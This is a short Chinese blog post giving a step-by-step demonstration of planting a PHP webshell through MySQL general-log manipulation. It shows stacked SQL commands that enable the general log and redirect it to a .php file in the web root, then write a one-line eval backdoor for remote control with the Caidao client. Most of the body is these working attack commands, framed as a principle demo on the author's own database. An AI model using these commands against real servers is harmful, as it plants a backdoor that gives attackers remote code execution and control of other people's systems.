--这里是暂时没找到合适的靶场,所以就用自己的数据库做一个原理演示
日志写马我们需要用到堆叠注入,也就是用 ; 连接多个SQL语句依次执行,但是一般的后端执行SQL语句使用的函数都是mysqli_query(),这个函数是不能使用堆叠注入的,很少用到mysqli_multi_query()
Mysql数据库日志写马的两个条件:
1、general_log='on';
全局变量日志开关需要打开
2、general_log_file='.........\log.php'
需要手动修改日志存储路径,以便菜刀连接
可以使用 show global variables like "%general%" 模糊查询全局变量
可以看到,默认情况下日志记录是关闭的,需要手动开启:set global general_log='on';
日志存储路径中的日志文件后缀也是.log,Mysql数据库中需要改为.php,并放到网站目录下:set global general_log_file='D:\\phpStudy\\WWW\\log.php';
1、路径中的 \ 需要用 \\
2、也需要知道网站的绝对路径
然后就可以写入一句话 select <?php @eval(POST[8]);?>;
然后可以看到log.php文件中已经写入了一句话,可以用菜刀连接
毫无疑问,肯定成功了(撒花)
本文来自博客园,作者:domb,转载请注明原文链接:https://www.cnblogs.com/domb2235/p/16285391.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!